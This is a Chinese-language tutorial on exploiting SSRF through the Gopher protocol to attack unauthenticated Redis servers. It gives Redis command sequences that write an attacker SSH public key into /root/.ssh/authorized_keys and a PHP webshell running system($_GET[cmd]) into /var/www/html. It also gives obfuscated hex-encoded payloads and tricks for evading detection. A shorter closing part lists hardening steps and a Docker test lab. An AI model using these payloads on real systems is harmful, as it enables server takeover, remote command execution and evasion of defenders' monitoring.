别再只测SSRF读文件了！实战利用Gopher协议攻击Redis的完整Payload构造与编码指南

深入解析Gopher协议在Redis渗透测试中的高级应用Redis作为现代应用架构中的核心组件其安全性直接影响整个系统的防护水平。当SSRF漏洞遇上未授权访问的Redis服务攻击者可以通过精心构造的Gopher协议请求实现深度渗透。本文将系统性地剖析这种攻击的技术原理与防御策略。1. Gopher协议与Redis通信的底层机制Gopher协议诞生于1991年是一种比HTTP更早的网络文档传输协议。虽然现代浏览器已不再原生支持但其简洁的请求格式使其成为SSRF攻击的理想载体。Gopher请求的基本结构如下gopher://host:port/typepath其中type表示资源类型单个字符表示如0表示文本文件。在渗透测试中我们主要关注TCP原始数据交换能力。Redis采用自定义的RESP(Redis Serialization Protocol)协议进行通信。每条命令以*开头后跟参数个数每个参数以$开头并指定长度。例如SET key value的RESP编码为*3\r\n $3\r\n SET\r\n $3\r\n key\r\n $5\r\n value\r\n当Gopher协议与RESP结合时攻击者可以精确控制每个字节的传输时序。关键在于换行符必须使用\r\n(十六进制0D0A)需要进行双重URL编码避免传输过程中的解析错误命令参数需要严格计算字节长度2. 攻击向量分析与实战场景2.1 SSH公钥注入的技术细节通过SSRF攻击Redis写入SSH公钥是获取服务器权限的经典方法。整个过程涉及多个关键步骤密钥生成与格式化ssh-keygen -t rsa -b 4096 -C attackerexample.com -f id_rsa -N (echo -e \n\n; cat id_rsa.pub; echo -e \n\n) payload.txtRedis命令序列构造FLUSHALL SET margin [公钥内容] CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys SAVE编码转换要点将每个换行符替换为%0D%0A对整个payload进行URL编码再次对特殊字符如%本身进行二次编码注意此攻击要求Redis以root权限运行且.ssh目录存在写权限2.2 WebShell写入的路径探测技巧当目标存在Web服务时写入WebShell需要准确定位网站根目录。常见探测方法包括探测方法适用场景示例命令配置文件分析Nginx/Apache环境CONFIG GET dir进程信息检查已知Web服务器PIDps aux默认路径尝试标准化部署/var/www/html典型的WebShell写入命令序列SET shell \n\n?php system($_GET[cmd]); ?\n\n CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SAVE3. 高级绕过技术与防御措施3.1 针对防护机制的绕过方案现代防御系统通常会检测异常Redis命令攻击者需要采用混淆技术命令分割将长命令拆分为多个SET操作十六进制编码使用\x形式表示特殊字符时间延迟在命令间插入sleep降低检测概率示例混淆后的payload*3\r\n$3\r\nSET\r\n$5\r\npart1\r\n$10\r\n\x3c\x3f\x70\x68\x70\r\n *3\r\n$3\r\nSET\r\n$5\r\npart2\r\n$10\r\n\x20\x73\x79\x73\x74\r\n3.2 企业级防护策略从运维角度建议采用分层防御网络层控制限制Redis服务绑定IP配置防火墙规则限制访问源服务层加固# 修改默认端口 sed -i s/port 6379/port 6380/ /etc/redis/redis.conf # 启用认证 echo requirepass $(openssl rand -base64 32) /etc/redis/redis.conf应用层防护对用户输入进行严格的协议白名单校验实施请求速率限制监控异常命令执行模式4. 自动化工具与实战演练4.1 常用工具对比工具名称语言特点适用场景GopherusPython支持多种协议快速原型验证SSRFmapPython自动化探测大规模测试Burp SuiteJava可视化操作精细控制4.2 实战演练环境搭建建议使用Docker构建隔离的测试环境# Redis靶机 docker run -d --name redis-target -p 6379:6379 redis --protected-mode no # 漏洞模拟应用 docker run -d --name vuln-app -p 8080:80 \ -e REDIS_HOSTredis-target \ vulnerable-ssrf-app测试流程应包含漏洞验证阶段协议分析阶段攻击模拟阶段痕迹清理阶段在真实渗透测试项目中我们曾遇到一个案例某电商平台因未过滤Gopher协议导致攻击者能够通过商品评论系统入侵后台服务器。经过分析发现问题出在对URL参数的处理逻辑存在缺陷仅检查了常见的HTTP/HTTPS协议头。